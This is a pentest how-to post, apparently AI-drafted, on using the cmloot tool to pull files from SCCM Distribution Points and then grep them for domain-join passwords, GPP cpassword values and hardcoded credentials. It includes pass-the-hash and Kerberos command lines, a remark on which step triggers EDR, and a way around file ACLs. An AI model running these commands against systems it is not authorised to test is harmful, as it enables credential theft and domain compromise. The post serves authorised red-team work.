cmloot
This post was 98% AI generated after working with cmloot extensively during a pentest and having a super long chat with Claude about it.
This tool loots files out of SCCM/MECM Distribution Points. It's a Python3 port of the original PowerShell CMLoot, rewritten on top of impacket — so pass-the-hash, Kerberos and SOCKS all work, and it runs happily from Kali/Exegol instead of needing Windows.
Install
python3 -m venv venv
source venv/bin/activate
git clone https://github.com/shelltrail/cmloot
cd cmloot
pip install impacket
Then run it directly:
python3 cmloot.py -h
Find the Distribution Points
Any host sharing SCCMContentLib$ is a DP. Sweep with NetExec:
nxc smb 192.168.1.0/24 -u USER -p PASS --shares | grep -i 'SCCMContentLib\|SMS_DP_SMSPKG\|REMINST'
cmloot can also find them itself over LDAP:
python3 cmloot.py DOMAIN/USER:PASS@dc.domain.com -findsccmservers
REMINST = the WDS/PXE share, but don't rely on it to spot PXE. Modern ConfigMgr (1806+) runs a PXE responder without WDS, so a live PXE DP may have no REMINST share at all. The only reliable PXE test is pxethief.
Syntax gotcha (target goes FIRST)
Unlike the PowerShell version, this is an impacket script — the target string comes first, then the flags. And -extensions takes a space-separated list (the PowerShell -Extension only took one at a time):
python3 cmloot.py DOMAIN/USER:PASS@dp.domain.com -cmlootinventory files.txt
python3 cmloot.py DOMAIN/USER:PASS@dp.domain.com -n -cmlootdownload files.txt -extensions ps1 xml config
Auth flavors carry over from impacket:
# pass-the-hash
python3 cmloot.py DOMAIN/USER@dp.domain.com -hashes :NTHASH -cmlootinventory files.txt
# kerberos
python3 cmloot.py DOMAIN/USER:PASS@dp.domain.com -k -cmlootinventory files.txt
# name won't resolve? feed the IP
python3 cmloot.py DOMAIN/USER:PASS@dp.domain.com -target-ip 192.168.1.50 -cmlootinventory files.txt
Run
Step 1 - Inventory
-cmlootinventory just walks the DataLib and writes a list of file paths — cheap, no downloads yet:
python3 cmloot.py DOMAIN/USER:PASS@dp.domain.com -cmlootinventory dp-files.txt
The inventory walk touches a lot of files over SMB and can trip Defender for Endpoint / EDR. The inventory pass is the noisy step — the downloads are quiet by comparison.
Step 2 - Download by extension
-cmlootdownload reads the inventory and pulls files matching -extensions. Default (if you omit -extensions) is INI, XML, CONFIG. Widen it for credential hunting:
python3 cmloot.py DOMAIN/USER:PASS@dp.domain.com -n -cmlootdownload dp-files.txt \
-extensions config xml ps1 psd1 json ini conf bat vbs cmd txt pem cer rdp
Files land in ./CMLootOut/, named <hash4>-<originalname> — the 4-char content-hash prefix is handy for de-duping identical files across multiple DPs (branch DPs replicate a lot of the same content).
There's no single-file download flag. To grab specific files, grep them out of the inventory into a mini-inventory, then download that:
grep -iE 'Deploy-Application\.(ps1|exe\.config)$' dp-files.txt > targets.txt
python3 cmloot.py DOMAIN/USER:PASS@dp.domain.com -n -cmlootdownload targets.txt -extensions ps1 config
Step 3 - Sweep the loot for secrets
Once CMLootOut/ is full, grep for the good stuff — filtering out the usual vendor noise so real hits stand out:
cd CMLootOut
grep -riIE 'cpassword|OSDJoin(Account|Password)|convertto-securestring|-asplaintext|net use .*/user:|connectionstring|password\s*=\s*[^\s"<>]' . 2>/dev/null \
| grep -viE 'AppDeployToolkitMain|\.Template\.|SAMPLE|aggregator\.xml'
What you're hunting: OSDJoinPassword/OSDJoinAccount (task-sequence domain-join creds — direct win), cpassword (GPP, instantly decryptable), and ConvertTo-SecureString ... -AsPlainText in a .ps1 (hardcoded cred).
Known false positives worth pre-filtering (all shipped inside common SCCM packages): Microsoft Retail SDK sample *.Template.xml files (placeholder creds like Pass1Word!), the PSAppDeployToolkit framework AppDeployToolkitMain.ps1 (the real cred, if any, is in the sibling Deploy-Application.ps1), and Dell/Fibocom WWAN driver *_configuration.xml (public carrier APN creds).
Getting at ACL'd files
During inventory, any package cmloot can't read gets logged to _noaccess.txt. The ACL only protects the file descriptor in the DataLib — the actual file in the FileLib is often still readable by its content hash, which is exactly where an admin might hide a credentialed script. The original CMLoot's Invoke-CMLootHunt automates fetching these; worth a manual look here too.